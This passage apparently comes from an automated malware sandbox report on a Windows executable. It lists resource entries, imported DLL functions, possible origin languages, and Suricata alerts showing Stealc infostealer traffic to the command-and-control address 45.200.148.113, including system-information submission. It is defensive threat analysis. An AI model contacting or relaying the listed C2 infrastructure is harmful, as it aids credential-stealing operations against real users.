RT_STRING	0xaf2244	0x154	data	Chinese	Taiwan	0.7676470588235295
RT_STRING	0xaf2398	0x376	data	English	United States	0.39164785553047404
RT_STRING	0xaf2710	0x154	data	Chinese	China	0.7676470588235295
RT_STRING	0xaf2864	0x168	data	Chinese	Taiwan	0.8
RT_STRING	0xaf29cc	0x3b8	data	English	United States	0.39705882352941174
RT_STRING	0xaf2d84	0x168	data	Chinese	China	0.8
RT_STRING	0xaf2eec	0x1aa	Hitachi SH big-endian COFF object file, no relocation info, not stripped, 2303 sections, symbol offset=0x655109ff, 83888383 symbols, optional header size 10855, created Sat Jul 18 08:12:19 1992	Chinese	Taiwan	0.6126760563380281
RT_STRING	0xaf3098	0x4e8	data	English	United States	0.2921974522292994
RT_STRING	0xaf3580	0x1aa	Hitachi SH big-endian COFF object file, no relocation info, not stripped, 2303 sections, symbol offset=0x655109ff, 83888383 symbols, optional header size 10855, created Sat Jul 18 08:12:19 1992	Chinese	China	0.6126760563380281
RT_STRING	0xaf372c	0x124	data	Chinese	Taiwan	0.8732876712328768
RT_STRING	0xaf3850	0x2ae	data	English	United States	0.48833819241982507
RT_STRING	0xaf3b00	0x124	data	Chinese	China	0.8732876712328768
RT_STRING	0xaf3c24	0x1d6	data	Chinese	Taiwan	0.5382978723404256
RT_STRING	0xaf3dfc	0x5f6	data	English	United States	0.2686762778505898
RT_STRING	0xaf43f4	0x1d6	data	Chinese	China	0.5382978723404256
RT_STRING	0xaf45cc	0x82	StarOffice Gallery theme p, 536899072 objects, 1st n	English	United States	0.7153846153846154
RT_STRING	0xaf4650	0x2a	data	English	United States	0.5476190476190477
RT_STRING	0xaf467c	0x184	data	English	United States	0.48711340206185566
RT_STRING	0xaf4800	0x124	data	English	United States	0.4897260273972603
RT_STRING	0xaf4924	0x4e6	data	English	United States	0.37719298245614036
RT_STRING	0xaf4e0c	0x264	data	English	United States	0.3333333333333333
RT_STRING	0xaf5070	0x2da	data	English	United States	0.3698630136986301
RT_STRING	0xaf534c	0x8a	data	English	United States	0.6594202898550725
RT_STRING	0xaf53d8	0xac	data	English	United States	0.45348837209302323
RT_STRING	0xaf5484	0xde	data	English	United States	0.536036036036036
RT_STRING	0xaf5564	0x4a8	data	English	United States	0.3221476510067114
RT_STRING	0xaf5a0c	0x228	data	English	United States	0.4003623188405797
RT_STRING	0xaf5c34	0x2c	data	English	United States	0.5227272727272727
RT_STRING	0xaf5c60	0x53c	data	English	United States	0.2947761194029851
RT_STRING	0xaf619c	0x96	Matlab v4 mat-file (little endian) %, numeric, rows 0, columns 0	Chinese	Taiwan	0.8
RT_STRING	0xaf6234	0x18a	Matlab v4 mat-file (little endian) T, numeric, rows 0, columns 0	English	United States	0.4746192893401015
RT_STRING	0xaf63c0	0x96	Matlab v4 mat-file (little endian) %, numeric, rows 0, columns 0	Chinese	China	0.8
RT_STRING	0xaf6458	0xb0	data	Chinese	Taiwan	0.7215909090909091
RT_STRING	0xaf6508	0x1e6	data	English	United States	0.41358024691358025
RT_STRING	0xaf66f0	0xb0	data	Chinese	China	0.7215909090909091
RT_STRING	0xaf67a0	0x2e	data	Chinese	Taiwan	0.6086956521739131
RT_STRING	0xaf67d0	0x46	data	English	United States	0.6571428571428571
RT_STRING	0xaf6818	0x2e	data	Chinese	China	0.6086956521739131
RT_STRING	0xaf6848	0x1ea	data	Chinese	Taiwan	0.7795918367346939
RT_STRING	0xaf6a34	0x55e	data	English	United States	0.3573508005822416
RT_STRING	0xaf6f94	0x1ea	data	Chinese	China	0.7795918367346939
RT_STRING	0xaf7180	0x1b4	data	Chinese	Taiwan	0.8555045871559633
RT_STRING	0xaf7334	0x49a	data	English	United States	0.40492359932088284
RT_STRING	0xaf77d0	0x1b4	data	Chinese	China	0.8555045871559633
RT_STRING	0xaf7984	0x106	data	Chinese	Taiwan	0.7404580152671756
RT_STRING	0xaf7a8c	0x2c6	DOS executable (COM, 0x8C-variant)	English	United States	0.39859154929577467
RT_STRING	0xaf7d54	0x106	data	Chinese	China	0.7404580152671756
RT_STRING	0xaf7e5c	0xb6	data	Chinese	Taiwan	0.7527472527472527
RT_STRING	0xaf7f14	0x24c	data	English	United States	0.42346938775510207
RT_STRING	0xaf8160	0xb6	data	Chinese	China	0.7527472527472527
RT_STRING	0xaf8218	0x9c	Matlab v4 mat-file (little endian) AQ\270\213\204v%, numeric, rows 0, columns 0	Chinese	Taiwan	0.7371794871794872
RT_STRING	0xaf82b4	0x216	Matlab v4 mat-file (little endian) A, numeric, rows 0, columns 0	English	United States	0.38202247191011235
RT_STRING	0xaf84cc	0x9c	Matlab v4 mat-file (little endian) AQ\270\213\204v%, numeric, rows 0, columns 0	Chinese	China	0.7371794871794872
RT_STRING	0xaf8568	0x102	data	Chinese	Taiwan	0.875968992248062
RT_STRING	0xaf866c	0x316	data	English	United States	0.4151898734177215
RT_STRING	0xaf8984	0x102	data	Chinese	China	0.875968992248062
RT_STRING	0xaf8a88	0x13c	data	Chinese	Taiwan	0.6107594936708861
RT_STRING	0xaf8bc4	0x3f0	data	English	United States	0.28075396825396826
RT_STRING	0xaf8fb4	0x13c	data	Chinese	China	0.6107594936708861
RT_STRING	0xaf90f0	0x140	data	Chinese	Taiwan	0.6125
RT_STRING	0xaf9230	0x3f2	data	English	United States	0.29504950495049503
RT_STRING	0xaf9624	0x140	data	Chinese	China	0.6125
RT_STRING	0xaf9764	0x76	data	Chinese	Taiwan	0.8389830508474576
RT_STRING	0xaf97dc	0x248	data	English	United States	0.4743150684931507
RT_STRING	0xaf9a24	0x76	data	Chinese	China	0.8389830508474576
RT_ACCELERATOR	0xaf9a9c	0x58	data	English	United States	0.75
RT_ACCELERATOR	0xaf9af4	0x18	data	English	United States	1.2083333333333333
RT_GROUP_CURSOR	0xaf9b0c	0x3e	Lotus unknown worksheet or configuration, revision 0x4	English	United States	0.8709677419354839
RT_GROUP_CURSOR	0xaf9b4c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9b60	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9b74	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9b88	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9b9c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9bb0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9bc4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9bd8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9bec	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9c00	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9c14	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9c28	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9c3c	0x22	Lotus unknown worksheet or configuration, revision 0x2	English	United States	1.0294117647058822
RT_GROUP_CURSOR	0xaf9c60	0x22	Lotus unknown worksheet or configuration, revision 0x2	English	United States	1.0294117647058822
RT_GROUP_CURSOR	0xaf9c84	0x22	Lotus unknown worksheet or configuration, revision 0x2	English	United States	1.0294117647058822
RT_GROUP_CURSOR	0xaf9ca8	0x22	Lotus unknown worksheet or configuration, revision 0x2	English	United States	1.0294117647058822
RT_GROUP_CURSOR	0xaf9ccc	0x22	Lotus unknown worksheet or configuration, revision 0x2	English	United States	1.0294117647058822
RT_GROUP_CURSOR	0xaf9cf0	0x22	Lotus unknown worksheet or configuration, revision 0x2	English	United States	1.0294117647058822
RT_GROUP_CURSOR	0xaf9d14	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9d28	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9d3c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9d50	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9d64	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9d78	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0xaf9d8c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9da0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9db4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9dc8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9ddc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9df0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9e04	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xaf9e18	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0xaf9e2c	0x92	data	English	United States	0.636986301369863
RT_GROUP_ICON	0xaf9ec0	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xaf9ee4	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xaf9f08	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xaf9f2c	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xaf9f50	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xaf9f74	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xaf9f98	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xaf9fbc	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xaf9fe0	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xafa004	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xafa028	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xafa04c	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xafa070	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xafa094	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xafa0b8	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xafa0dc	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xafa100	0x22	data	English	United States	1.1176470588235294
RT_GROUP_ICON	0xafa124	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa154	0x30	data	English	United States	1.0
RT_GROUP_ICON	0xafa184	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa1b4	0x76	data	English	United States	0.6949152542372882
RT_GROUP_ICON	0xafa22c	0x76	data	English	United States	0.6864406779661016
RT_GROUP_ICON	0xafa2a4	0x76	data	English	United States	0.6949152542372882
RT_GROUP_ICON	0xafa31c	0x76	data	English	United States	0.6949152542372882
RT_GROUP_ICON	0xafa394	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa3c4	0x76	data	English	United States	0.6864406779661016
RT_GROUP_ICON	0xafa43c	0x76	data	English	United States	0.6864406779661016
RT_GROUP_ICON	0xafa4b4	0x76	data	English	United States	0.6864406779661016
RT_GROUP_ICON	0xafa52c	0x76	data	English	United States	0.6864406779661016
RT_GROUP_ICON	0xafa5a4	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa5d4	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa604	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa634	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa664	0x76	data	English	United States	0.6864406779661016
RT_GROUP_ICON	0xafa6dc	0x76	data	English	United States	0.6949152542372882
RT_GROUP_ICON	0xafa754	0x76	data	English	United States	0.6864406779661016
RT_GROUP_ICON	0xafa7cc	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa7fc	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa82c	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa85c	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa88c	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa8bc	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa8ec	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa91c	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa94c	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa97c	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa9ac	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafa9dc	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafaa0c	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafaa3c	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafaa6c	0x76	data	English	United States	0.6949152542372882
RT_GROUP_ICON	0xafaae4	0x76	data	English	United States	0.6864406779661016
RT_GROUP_ICON	0xafab5c	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafab8c	0x76	data	English	United States	0.6694915254237288
RT_GROUP_ICON	0xafac04	0x30	data	English	United States	1.0
RT_GROUP_ICON	0xafac34	0x30	data	English	United States	1.0
RT_GROUP_ICON	0xafac64	0x76	data	English	United States	0.6949152542372882
RT_GROUP_ICON	0xafacdc	0x76	data			0.6610169491525424
RT_GROUP_ICON	0xafad54	0x76	data			0.6694915254237288
RT_GROUP_ICON	0xafadcc	0x76	data			0.6694915254237288
RT_GROUP_ICON	0xafae44	0x76	data			0.6779661016949152
RT_GROUP_ICON	0xafaebc	0x76	data			0.6779661016949152
RT_GROUP_ICON	0xafaf34	0x76	data	English	United States	0.6949152542372882
RT_GROUP_ICON	0xafafac	0x76	data	English	United States	0.6949152542372882
RT_GROUP_ICON	0xafb024	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafb054	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafb084	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafb0b4	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafb0e4	0x14	data	English	United States	1.25
RT_GROUP_ICON	0xafb0f8	0x76	data	English	United States	0.7033898305084746
RT_GROUP_ICON	0xafb170	0x22	data	English	United States	1.0588235294117647
RT_GROUP_ICON	0xafb194	0x22	data	English	United States	1.0588235294117647
RT_GROUP_ICON	0xafb1b8	0x30	data	English	United States	0.9791666666666666
RT_GROUP_ICON	0xafb1e8	0x22	data	English	United States	1.1470588235294117
RT_VERSION	0xafb20c	0x32c	data	Russian	Russia	0.45566502463054187
RT_MANIFEST	0xafb538	0x9e0	ASCII text, with very long lines (1480), with CRLF, LF line terminators	English	United States	0.2946993670886076
None	0xafbf18	0x4a	data	English	United States	0.9054054054054054
None	0xafbf64	0x1c	data	English	United States	1.2857142857142858
None	0xafbf80	0x18	data	English	United States	1.2916666666666667

Imports

DLL	Import
UxTheme.dll	SetWindowTheme
WS2_32.dll	getnameinfo, bind, htons, htonl, WSASocketW, closesocket, inet_ntoa, sendto, setsockopt, socket, WSACloseEvent, WSAGetOverlappedResult, WSAWaitForMultipleEvents, WSAGetLastError, WSARecvFrom, WSACreateEvent, FreeAddrInfoW, GetAddrInfoW, WSACleanup, shutdown, WSAStartup
KERNEL32.dll	GetOEMCP, IsValidCodePage, GetStringTypeW, LCMapStringW, GetTimeZoneInformation, GetConsoleCP, GetConsoleMode, GetACP, WriteConsoleW, SetEnvironmentVariableA, LoadLibraryA, ExpandEnvironmentStringsA, GetProcessHeap, GetCPInfo, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, GetVersionExW, GetLastError, LocalAlloc, LocalFree, InitializeCriticalSection, LeaveCriticalSection, EnterCriticalSection, DeleteCriticalSection, FindResourceW, LoadResource, SizeofResource, LockResource, FreeLibrary, LoadLibraryW, GetProcAddress, SetLastError, GlobalLock, GlobalUnlock, CloseHandle, GetModuleHandleW, Sleep, TerminateProcess, QueryPerformanceCounter, HeapDestroy, HeapCreate, SetHandleCount, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetStdHandle, SetUnhandledExceptionFilter, GetFileType, SetStdHandle, HeapSize, HeapQueryInformation, ExitProcess, RtlUnwind, VirtualQuery, GetSystemInfo, VirtualAlloc, CreateThread, ExitThread, HeapReAlloc, EncodePointer, DecodePointer, HeapAlloc, HeapFree, GetStartupInfoW, HeapSetInformation, SetErrorMode, GetNumberFormatW, GetWindowsDirectoryW, GetFileTime, GetFileSizeEx, GetFileAttributesExW, FindResourceExW, GetFullPathNameW, GetVolumeInformationW, FindFirstFileW, FindClose, DuplicateHandle, GetCommandLineW, GetDateFormatW, GetCurrentProcess, WaitForSingleObject, SetEvent, SetEndOfFile, UnlockFile, FileTimeToSystemTime, ResetEvent, CreateEventW, LockFile, FlushFileBuffers, DeleteFileW, lstrcmpiW, GlobalFlags, TlsFree, LocalReAlloc, TlsSetValue, TlsAlloc, GlobalHandle, TlsGetValue, GetTempPathW, GetTempFileNameW, SetFilePointer, FileTimeToLocalFileTime, VirtualProtect, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileIntW, lstrcmpA, GetCurrentThread, GetUserDefaultUILanguage, ConvertDefaultLocale, GetSystemDefaultUILanguage, GetLocaleInfoW, ReleaseActCtx, CreateActCtxW, GetProfileIntW, CopyFileW, GetFileSize, GetFileAttributesW, GlobalReAlloc, GlobalFree, GlobalSize, SuspendThread, SetThreadPriority, SearchPathW, MulDiv, GetModuleFileNameW, GlobalGetAtomNameW, InitializeCriticalSectionAndSpinCount, GlobalAddAtomW, GlobalFindAtomW, GlobalDeleteAtom, CompareStringW, lstrcmpW, lstrcpyW, WaitForMultipleObjects, GetCurrentThreadId, GetCurrentDirectoryW, GetSystemTimeAsFileTime, CompareFileTime, ReleaseMutex, lstrlenA, RaiseException, WideCharToMultiByte, SystemTimeToFileTime, lstrcpynW, InterlockedExchangeAdd, FreeResource, GlobalAlloc, MultiByteToWideChar, DeactivateActCtx, ActivateActCtx, lstrlenW, CreateFileW, GetCurrentProcessId, ReadFile, WriteFile, FormatMessageW, InterlockedExchange, InterlockedDecrement, InterlockedIncrement, CreateProcessW, ResumeThread, TerminateThread, GetTickCount, OpenEventW
USER32.dll	LockWindowUpdate, GetUpdateRect, GetNextDlgGroupItem, MapDialogRect, ShowOwnedPopups, PostQuitMessage, GetKeyNameTextW, CreateDialogIndirectParamW, GetNextDlgTabItem, EndDialog, SetRect, MoveWindow, IsDialogMessageW, CheckDlgButton, GetMenuStringW, RemoveMenu, CopyImage, TranslateMessage, WaitMessage, EmptyClipboard, SetClipboardData, CreateAcceleratorTableW, GetKeyboardState, GetKeyboardLayout, MapVirtualKeyW, ToUnicodeEx, CopyAcceleratorTableW, SetLayeredWindowAttributes, EnumDisplayMonitors, RegisterClipboardFormatW, EndPaint, BeginPaint, GetWindowDC, GrayStringW, DrawTextExW, DrawTextW, TabbedTextOutW, InsertMenuW, FrameRect, SetMenuDefaultItem, UnpackDDElParam, ReuseDDElParam, GetActiveWindow, LoadAcceleratorsW, BringWindowToTop, GetDesktopWindow, ShowWindow, TranslateAcceleratorW, SetClassLongW, GetSysColorBrush, DrawFocusRect, DrawEdge, FillRect, DrawStateW, IsWindowEnabled, DrawFrameControl, DestroyAcceleratorTable, SetParent, AppendMenuW, CreatePopupMenu, SetMenuItemBitmaps, GetMenuCheckMarkDimensions, ModifyMenuW, SendDlgItemMessageA, WinHelpW, GetClassLongW, GetClassNameW, SetPropW, GetPropW, RemovePropW, GetWindowTextLengthW, GetWindowTextW, GetLastActivePopup, SetActiveWindow, GetDlgItem, GetTopWindow, DestroyWindow, GetMessageTime, GetMessagePos, MonitorFromWindow, ScrollWindow, SetCursorPos, SetMenu, SetScrollRange, GetScrollRange, ShowScrollBar, GetClassInfoExW, GetClassInfoW, RegisterClassW, AdjustWindowRectEx, DeferWindowPos, GetScrollInfo, SetScrollInfo, SetWindowPlacement, GetWindowPlacement, GetDlgCtrlID, DefWindowProcW, GetMenu, GetWindow, SetFocus, SetWindowsHookExW, UnhookWindowsHookEx, CallNextHookEx, NotifyWinEvent, MessageBeep, WindowFromPoint, GetSystemMenu, EnableMenuItem, CheckMenuItem, BeginDeferWindowPos, EndDeferWindowPos, PeekMessageW, GetMessageW, DispatchMessageW, DestroyMenu, UpdateLayeredWindow, EnableScrollBar, SetScrollPos, GetScrollPos, GetCapture, ValidateRect, EqualRect, UnionRect, LoadBitmapW, SetWindowRgn, DrawIconEx, DeleteMenu, InsertMenuItemW, SetWindowPos, LoadMenuW, GetIconInfo, CreateIcon, DestroyIcon, PrivateExtractIconsW, DestroyCursor, GetSysColor, RegisterWindowMessageW, KillTimer, PostThreadMessageW, MessageBoxW, LoadIconW, GetWindowLongW, SetWindowTextW, ReleaseDC, CloseClipboard, GetClipboardData, OpenClipboard, LoadImageW, ClientToScreen, SetCursor, SetTimer, ScreenToClient, GetWindowRect, IsMenu, MonitorFromPoint, IsIconic, GetMenuItemID, IsChild, SetCapture, PostMessageW, IsZoomed, GetKeyState, CopyIcon, CharUpperBuffW, RealChildWindowFromPoint, IsCharLowerW, MapVirtualKeyExW, DefFrameProcW, DefMDIChildProcW, DrawMenuBar, TranslateMDISysAccel, IsClipboardFormatAvailable, GetDoubleClickTime, CreateMenu, UnregisterClassW, SubtractRect, GetSubMenu, SetForegroundWindow, GetFocus, GetParent, AttachThreadInput, LoadCursorW, GetMenuDefaultItem, GetClientRect, GetMenuItemInfoW, SetRectEmpty, PtInRect, DrawIcon, GetWindowRgn, HideCaret, TrackPopupMenu, InvertRect, GetDC, InflateRect, GetForegroundWindow, OffsetRect, GetAsyncKeyState, IntersectRect, InvalidateRect, SystemParametersInfoW, GetMenuState, CharUpperW, RedrawWindow, GetMenuItemCount, IsWindow, ReleaseCapture, GetSystemMetrics, IsWindowVisible, AllowSetForegroundWindow, SendMessageW, MapWindowPoints, UpdateWindow, EnableWindow, GetMonitorInfoW, CopyRect, GetWindowThreadProcessId, IsRectEmpty, SetWindowLongW, GetCursorPos, CreateWindowExW, CallWindowProcW, SendDlgItemMessageW
GDI32.dll	LineTo, MoveToEx, SetTextAlign, GetLayout, SetLayout, SelectClipRgn, GetViewportExtEx, GetWindowExtEx, GetPixel, PtVisible, RectVisible, TextOutW, Escape, SetViewportOrgEx, OffsetViewportOrgEx, SetViewportExtEx, ScaleViewportExtEx, SetWindowOrgEx, OffsetWindowOrgEx, SetWindowExtEx, ScaleWindowExtEx, ExtSelectClipRgn, CreatePatternBrush, SelectPalette, GetObjectType, CreateDIBitmap, GetTextCharsetInfo, RealizePalette, StretchBlt, SetPixel, CopyMetaFileW, CreateDCW, Rectangle, RoundRect, SetRectRgn, DPtoLP, CreatePalette, GetPaletteEntries, EnumFontFamiliesExW, ExtFloodFill, SetPaletteEntries, GetNearestPaletteIndex, GetSystemPaletteEntries, PtInRegion, FillRgn, FrameRgn, GetBoundsRect, GetWindowOrgEx, LPtoDP, GetViewportOrgEx, GetTextFaceW, SetPixelV, ExcludeClipRect, IntersectClipRect, GetClipBox, SetMapMode, SetROP2, SetPolyFillMode, SetBkMode, RestoreDC, SaveDC, ExtTextOutW, PatBlt, Polygon, Ellipse, Polyline, GetBkColor, CombineRgn, CreatePolygonRgn, CreateEllipticRgn, CreateRectRgn, CreateHatchBrush, CreateSolidBrush, CreateBitmap, GetRgnBox, OffsetRgn, SetBkColor, SetTextColor, CreateRoundRectRgn, CreatePen, BitBlt, CreateCompatibleBitmap, GetTextMetricsW, DeleteDC, CreateDIBSection, SetDIBColorTable, CreateCompatibleDC, GetBitmapBits, GetStockObject, GetCurrentObject, DeleteObject, SelectObject, CreateFontIndirectW, GetObjectW, GetDeviceCaps, CreateFontW, GetTextExtentPoint32W, CreateRectRgnIndirect, EnumFontFamiliesW, GetTextColor
MSIMG32.dll	TransparentBlt, AlphaBlend
COMDLG32.dll	GetFileTitleW
WINSPOOL.DRV	DocumentPropertiesW, OpenPrinterW, ClosePrinter
ADVAPI32.dll	RegOpenKeyExA, RegQueryValueExA, InitializeSecurityDescriptor, SetSecurityDescriptorDacl, RegEnumValueW, RegEnumKeyExW, RegQueryValueW, RegEnumKeyW, RegDeleteKeyW, RegDeleteValueW, RegSetValueExW, RegNotifyChangeKeyValue, RegCreateKeyExW, RegCloseKey, RegOpenKeyExW, RegQueryValueExW, GetSidSubAuthorityCount, GetSidSubAuthority, OpenProcessToken, GetSidIdentifierAuthority, GetTokenInformation
SHELL32.dll	CommandLineToArgvW, SHGetSpecialFolderPathW, ShellExecuteW, DragFinish, DragQueryFileW, SHGetFileInfoW, SHAppBarMessage, SHBrowseForFolderW, SHGetPathFromIDListW, Shell_NotifyIconW, SHGetSpecialFolderLocation, SHGetDesktopFolder
COMCTL32.dll	ImageList_GetIconSize, _TrackMouseEvent
SHLWAPI.dll	PathAppendW, PathFindExtensionW, PathFindFileNameW, UrlUnescapeW, PathRemoveFileSpecW, PathStripToRootW, PathIsUNCW
ole32.dll	OleDuplicateData, CoTaskMemAlloc, ReleaseStgMedium, CoCreateInstance, CoUninitialize, CoWaitForMultipleHandles, CoInitializeEx, CreateStreamOnHGlobal, CoInitialize, CoTaskMemFree, OleIsCurrentClipboard, OleFlushClipboard, DoDragDrop, CoCreateGuid, OleUninitialize, CoFreeUnusedLibraries, OleLockRunning, RevokeDragDrop, CoLockObjectExternal, RegisterDragDrop, CoRevokeClassObject, OleDestroyMenuDescriptor, OleCreateMenuDescriptor, IsAccelerator, OleTranslateAccelerator, OleGetClipboard
OLEAUT32.dll	VarBstrFromDate, VariantTimeToSystemTime, SystemTimeToVariantTime, SysAllocStringLen, SysAllocString, SysFreeString, VariantInit, VariantChangeType, VariantClear, SysStringLen
gdiplus.dll	GdipDrawImageRectI, GdipSetInterpolationMode, GdipCreateFromHDC, GdipCreateBitmapFromHBITMAP, GdiplusStartup, GdipGetImageWidth, GdipCloneImage, GdipBitmapLockBits, GdipGetImagePaletteSize, GdipDisposeImage, GdipAlloc, GdipDrawImageI, GdipBitmapUnlockBits, GdipGetImageGraphicsContext, GdipDeleteGraphics, GdipCreateBitmapFromScan0, GdipGetImagePixelFormat, GdipCreateBitmapFromStream, GdiplusShutdown, GdipFree, GdipGetImageHeight, GdipGetImagePalette
MPR.dll	WNetCloseEnum, WNetGetProviderNameW, WNetEnumResourceW, WNetOpenEnumW
OLEACC.dll	CreateStdAccessibleObject, AccessibleObjectFromWindow, LresultFromObject
IMM32.dll	ImmReleaseContext, ImmGetContext, ImmGetOpenStatus
WINMM.dll	PlaySoundW
WININET.dll	InternetCrackUrlW, InternetCanonicalizeUrlW, InternetQueryOptionW, InternetOpenUrlW, InternetReadFile, InternetWriteFile, InternetSetFilePointer, InternetSetStatusCallbackW, InternetOpenW, InternetGetLastResponseInfoW, InternetCloseHandle, InternetQueryDataAvailable

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Chinese	Taiwan
Chinese	China
Russian	Russia

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-01T07:51:09.634483+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49732	45.200.148.113	80	TCP
2024-10-01T07:51:09.812711+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49732	45.200.148.113	80	TCP
2024-10-01T07:51:09.829208+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	45.200.148.113	80	192.168.2.4	49732	TCP
2024-10-01T07:51:10.003241+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49732	45.200.148.113	80	TCP
2024-10-01T07:51:10.010594+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	45.200.148.113	80	192.168.2.4	49732	TCP
2024-10-01T07:51:10.509201+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49732	45.200.148.113	80	TCP
2024-10-01T07:51:11.043803+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49732	45.200.148.113	80	TCP
2024-10-01T07:51:14.356641+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49732	45.200.148.113	80	TCP
2024-10-01T07:51:15.194900+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49732	45.200.148.113	80	TCP
2024-10-01T07:51:15.905017+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49732	45.200.148.113	80	TCP
2024-10-01T07:51:16.448635+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49732	45.200.148.113	80	TCP
